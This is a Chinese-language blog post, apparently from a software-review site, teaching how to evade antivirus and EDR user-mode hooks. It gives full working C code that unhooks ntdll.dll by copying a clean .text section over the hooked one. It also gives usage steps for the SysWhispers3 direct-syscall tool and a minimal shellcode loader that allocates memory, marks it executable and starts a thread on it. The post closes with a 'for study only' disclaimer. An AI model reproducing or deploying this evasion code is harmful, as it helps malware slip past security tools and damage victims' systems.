前言
正常情况下,杀毒软件会在用户模式下的API设置钩子,用于检测用户层的行为。这里我们用x64dbg查看ntdll.dll的导出函数即可得知。
当杀软未进行hook时的NtcreateProcess函数:
可以看出系统调用号是:B4
当其被hook后,可以看到jmp指令
因此,当我们想规避杀软的检测行为时,是否可以考虑将杀软的钩子脱钩?或者使用直接系统调用的方式?针对这两个问题,有以下的解决办法:
0x01 替换干净的Ntdll.dll
先将代码附上:
DWORD UNHOOKntdll() { MODULEINFO mi = {}; HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi)); LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) { DWORD oldProtection = 0; bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); } } CloseHandle(ntdllFile); CloseHandle(ntdllMapping); FreeLibrary(ntdllModule); return 0; }
流程如下:
-
获取
ntdll.dll
的模块句柄和信息,包括它在内存中的基地址。 -
以只读方式打开
c:\\windows\\system32\\ntdll.dll
文件,并创建一个文件映射。然后,将这个文件映射到内存中。 -
获取
ntdll.dll
在内存中的 DOS 和 NT 头部信息。 -
遍历
ntdll.dll
的所有节(section)。如果发现了名为.text
的节,这个节通常包含了 DLL 的代码,那么就需要解除对它的钩子。 -
使用
VirtualProtect
函数修改.text
节的内存保护属性,使其可以读写执行。 -
使用
memcpy
函数将原始的ntdll.dll
文件中的.text
节复制到内存中的ntdll.dll
的对应位置,从而覆盖可能被修改的代码。 -
再次使用
VirtualProtect
函数恢复.text
节的内存保护属性。 -
关闭文件句柄和文件映射,释放模块。
该方法通过将已钩住的ntdll.dll进行解除,使得杀软无法检测用户的行为。
0x02 SysWhispers3工具
工具地址:klezVirus/SysWhispers3: SysWhispers on Steroids - AV/EDR evasion via direct system calls. (github.com)
我们利用Syswhispers,就不用自己去找系统调用号了,可以直接实现系统调用
相比于2的版本,syswhispers3使用了新的 EGG 手法,先用垃圾指令代替 syscall,在运行时再从内存中找出来替换 syscall。
使用方法:
例:导出NtProtectVirtualMemory和NtWriteVirtualMemory函数:
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
具体详细使用方式可参考官方项目文档
运行后会在脚本目录生成Header/ASM/C文件
导入VS
-
将生成的H/C/ASM文件拷贝到项目目录中;
-
在Visual Studio中,点击“Project->Build Customizations...”,然后启用MASM;
-
在“Solution Exlorer”中,将.h和.c/.asm文件分别以Header和源文件的形式添加到项目中;
-
点击ASM文件的属性,将“Item Type”设置为“Microsoft Macro Assembler”;
需要注意的是,该工具目前只支持x64位。
以一个最简单的loader来演示:
#include "syscall.h" #include <Windows.h> #include<stdio.h> unsigned char calc_payload[] ="" unsigned int calc_len = 1; int main() { DWORD oldprotect = 0; HANDLE hProc = GetCurrentProcess(); LPVOID base_addr = NULL; HANDLE thandle = NULL; NTSTATUS NTAVM = NtAllocateVirtualMemory( hProc, &base_addr, 0, (PSIZE_T)&calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); RtlMoveMemory(base_addr, calc_payload, calc_len); NTSTATUS NTPVM = NtProtectVirtualMemory( hProc, &base_addr, (PSIZE_T)&calc_len, PAGE_EXECUTE_READ, &oldprotect); NTSTATUS ct = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL); free(base_addr); return 1; }
这里我们可以直接使用系统级的函数,在此基础之上,可以将一些常规的免杀方法做进一步的提升,效果会更加不错。
最后声明,此文章仅用于学习与思考。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)